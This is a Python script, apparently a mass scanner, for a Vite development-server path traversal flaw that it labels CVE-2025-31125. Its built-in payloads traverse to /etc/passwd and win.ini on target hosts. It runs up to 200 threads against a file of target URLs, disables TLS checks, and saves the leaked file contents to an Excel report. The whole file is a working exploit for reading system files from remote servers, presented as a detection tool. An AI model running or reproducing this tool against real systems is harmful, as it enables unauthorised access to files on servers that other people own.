import requests
import argparse
import urllib3
import concurrent.futures
import threading
from openpyxl import Workbook
from openpyxl.styles import PatternFill, Alignment
from openpyxl.utils import get_column_letter


urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


COLORS = {
    "GREEN": '\033[92m',
    "RED": '\033[91m',
    "YELLOW": '\033[93m',
    "RESET": '\033[0m'
}


result_lock = threading.Lock()
global_results = []


EXCEL_STYLES = {
    "SUCCESS": PatternFill(start_color='C6EFCE', end_color='C6EFCE', fill_type='solid'),
    "WARNING": PatternFill(start_color='FFEB9C', end_color='FFEB9C', fill_type='solid'),
    "FAIL": PatternFill(start_color='FFC7CE', end_color='FFC7CE', fill_type='solid'),
    "ERROR": PatternFill(start_color='FFD700', end_color='FFD700', fill_type='solid')
}

def parse_payload(payload_str):
    
    if '??' in payload_str:
        # 使用rpartition确保只分割最后一个??
        path_part, sep, indicator_part = payload_str.rpartition('??')
        return (f"{path_part}{sep}", indicator_part.strip())  # 保留原始分隔符
    return (payload_str.strip(), "")

def check_url(target, payload, success_indicator, proxy):
    
    full_url = target.rstrip('/') + payload
    result = {
        "url": full_url,
        "status": "PENDING",
        "status_code": 0,
        "indicator": success_indicator,
        "content": "",
        "error": ""
    }

    try:
        proxies = {"http": proxy, "https": proxy} if proxy else None
        response = requests.get(
            full_url,
            timeout=10,
            verify=False,
            proxies=proxies,
            allow_redirects=False
        )
        
        result["status_code"] = response.status_code
        result["content"] = response.text  # 保留完整响应内容
        
        
        if response.status_code == 200:
            if success_indicator:
                if success_indicator in response.text:
                    result["status"] = "SUCCESS"
                else:
                    result["status"] = "WARNING"  # 200但未匹配标识
            else:
                result["status"] = "SUCCESS"  # 200且无标识要求
        else:
            result["status"] = "FAIL"
            
    except Exception as e:
        result["status"] = "ERROR"
        result["error"] = str(e)
    
    return result

def process_result(result):
    
    status_colors = {
        "SUCCESS": COLORS["GREEN"],
        "WARNING": COLORS["YELLOW"],
        "FAIL": COLORS["RED"],
        "ERROR": COLORS["YELLOW"]
    }
    
    status_msgs = {
        "SUCCESS": "检测成功（存在漏洞特征）",
        "WARNING": "检测成功但未匹配标识（需人工确认）",
        "FAIL": "请求失败",
        "ERROR": "请求错误"
    }
    
    color = status_colors.get(result["status"], COLORS["RESET"])
    status_msg = status_msgs.get(result["status"], "未知状态")

    output = [
        f"{color}[{result['status']}]{COLORS['RESET']}",
        f"完整请求URL: {result['url']}",
        f"状态码: {result['status_code']}",
        f"匹配标识: {result['indicator'] or '无'}"
    ]
    

    if result["status_code"] == 200:
        content_preview = result["content"][:1000]  # 显示前1000字符
        if len(result["content"]) > 1000:
            content_preview += "\n...（内容已截断，完整内容见报告）"
        output.append(f"响应内容预览:\n{content_preview}")
    
    output.append("----------------------------------------")
    print("\n".join(output))
    
    with result_lock:
        global_results.append({
            **result,
            "content": result["content"][:5000]  # Excel中保留5K字符
        })

def export_to_excel(filename):
    wb = Workbook()
    ws = wb.active
    ws.title = "检测结果"
    
    headers = [
        "目标URL", "检测路径", "状态", 
        "状态码", "匹配标识", "响应内容", "错误信息"
    ]
    for col, header in enumerate(headers, 1):
        ws.cell(row=1, column=col, value=header)
        ws.column_dimensions[get_column_letter(col)].width = 30
    
    for row, result in enumerate(global_results, 2):
        ws.cell(row=row, column=1, value=result["url"])
        ws.cell(row=row, column=2, value=result["url"].replace(result["url"].split('//')[0]+'//'+result["url"].split('//')[1].split('/')[0], ''))  # 显示相对路径
        ws.cell(row=row, column=3, value=result["status"])
        ws.cell(row=row, column=4, value=result["status_code"])
        ws.cell(row=row, column=5, value=result["indicator"])
        ws.cell(row=row, column=6, value=result["content"])
        ws.cell(row=row, column=7, value=result["error"])
        
        fill = EXCEL_STYLES.get(result["status"], None)
        alignment = Alignment(wrap_text=True)
        for col in range(1, 8):
            ws.cell(row=row, column=col).fill = fill if fill else PatternFill()
            ws.cell(row=row, column=col).alignment = alignment
    
    wb.save(filename)
    print(f"\n{COLORS['GREEN']}[+] 检测结果已保存到 {filename}{COLORS['RESET']}")

def main():
    parser = argparse.ArgumentParser(description="Vite路径遍历漏洞检测工具CVE-2025-31125 Author:iSee857", formatter_class=argparse.RawTextHelpFormatter)
    parser.add_argument("-f", "--file", help="包含目标URL的文件")
    parser.add_argument("-u", "--url", help="单个目标URL")
    parser.add_argument("-p", "--payload", action="append", 
                      help="""自定义检测路径（支持两种格式）：
1. 带检测标识：/path??indicator
2. 仅路径：/path?param=1??
示例：
   -p "/@fs/C://windows/win.ini?import&raw??"
   -p "/@fs/etc/passwd?import&raw??
""")
    parser.add_argument("--proxy", help="代理服务器地址（如：http://127.0.0.1:8080）")
    parser.add_argument("-o", "--output", default="results.xlsx",
                      help="输出文件名（默认：results.xlsx）")
    parser.add_argument("-t", "--threads", type=int, default=50,
                      help="并发线程数量（默认：50，范围：1-200）")
    
    args = parser.parse_args()
    

    if not args.url and not args.file:
        parser.error("必须指定 -u/--url 或 -f/--file 参数")
    
    if args.threads < 1 or args.threads > 200:
        parser.error("线程数必须在1-200之间")
    
    # 初始化检测规则
    if args.payload:
        payloads = [parse_payload(p) for p in args.payload]
    else:
        payloads = [
            ("/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw", "root:x"),#备用api/etc/passwd?.svg?.wasm?init
            ("/@fs/x/x/x/vite-project/?/../../../../../C://windows/win.ini?import&?raw", "MAPI=")
        ]
    
    # 准备目标列表
    targets = []
    if args.url:
        targets.append(args.url.rstrip('/'))
    elif args.file:
        with open(args.file) as f:
            targets = [line.strip().rstrip('/') for line in f if line.strip()]
    
    # 启动多线程检测
    with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:
        futures = []
        for target in targets:
            for path, indicator in payloads:
                futures.append(
                    executor.submit(
                        check_url,
                        target,
                        path,
                        indicator,
                        args.proxy
                    )
                )
        
        for future in concurrent.futures.as_completed(futures):
            process_result(future.result())
    
    # 导出结果
    if global_results:
        export_to_excel(args.output)
    else:
        print(f"{COLORS['YELLOW']}[!] 未发现有效检测结果{COLORS['RESET']}")

if __name__ == "__main__":
    main()